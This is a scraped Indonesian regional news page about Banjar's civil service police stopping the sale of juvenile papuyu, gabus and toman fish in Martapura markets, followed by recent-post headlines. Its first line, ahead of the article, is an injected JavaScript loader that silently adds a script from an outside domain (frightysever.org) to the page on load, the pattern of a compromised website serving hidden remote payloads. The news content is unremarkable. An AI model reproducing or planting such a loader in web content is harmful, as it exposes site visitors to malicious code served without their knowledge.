(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Satpol PP Kab Banjar

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan


KANALKALIMANTAN.COM, MARTAPURA – Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan anakan ikan betok (papuyu), gabus dan toman di sejumlah pasar di Martapura, Senin (9/12/2024) siang.

Penertiban yang dilakukan Satpol PP tersebut merupakan tindak lanjut terhadap surat permintaan dari dari Dinas Ketahanan Pangan dan Perikanan Kabupaten Banjar Nomor: 500.5.6/375/DKPP/2024 perihal permohonan pendampingan pelaksanaan pengawasan/pembinaan terhadap penjualan anakan ikan pepuyu, gabus dan toman.

Satpol PP Kabupaten Banjar melalui Bidang Penegakan Produk Hukum Daerah yang dipimpin oleh Agus Hariyanto SH, MH melaksanakan pendampingan penegakan Perda Kabupaten Banjar Nomor 7 Tahun 2005 tentang Pengawasan dan Perlindungan Sumber Daya Ikan.

Baca juga: Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

Turun bersama Dinas Ketahanan Pangan dan Perikanan dan Perumda Pasar Bauntung Batuah, Satpol PP melaksanakan pengawasan dan pembinaan di kawasan Pusat Perbelanjaan Sekumpul, Pasar Induk Martapura. Ada 4 pelanggar perda yang kedapatan menjual anakan ikan.

Pada saat kegiatan berlangsung di Pasar Martapura, Kepala Seksi Pengawasan Sumber Daya Perikanan, Iwan Taruna mendapat laporan via telepon bahwa ada warga yang menangkap dan menjual anakan ikan di wilayah Kecamatan Martapura Timur.

Berdasar informasi tersebut petugas kemudian bergeser ke lokasi yang dimaksud.

Baca juga: Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

Didampingi oleh Kanit Binmas Polsek Martapura Timur petugas mendapati tiga orang pelanggar di Desa Mekar Kecamatan Martapura Timur.

Dalam pengawasan dan pembinaan yang dilaksanakan ini adalah anakan ikan papuyu, haruan/gabus dan toman.

Agus mengimbau kepada masyarakat agar tidak lagi menangkap dan menjual anakan ikan, agar bibit ikan dan populasinya tidak punah. (Kanalkalimantan.com/satpolppbanjar/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

2 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

2 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

3 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

15 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

16 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

23 jam ago

This website uses cookies.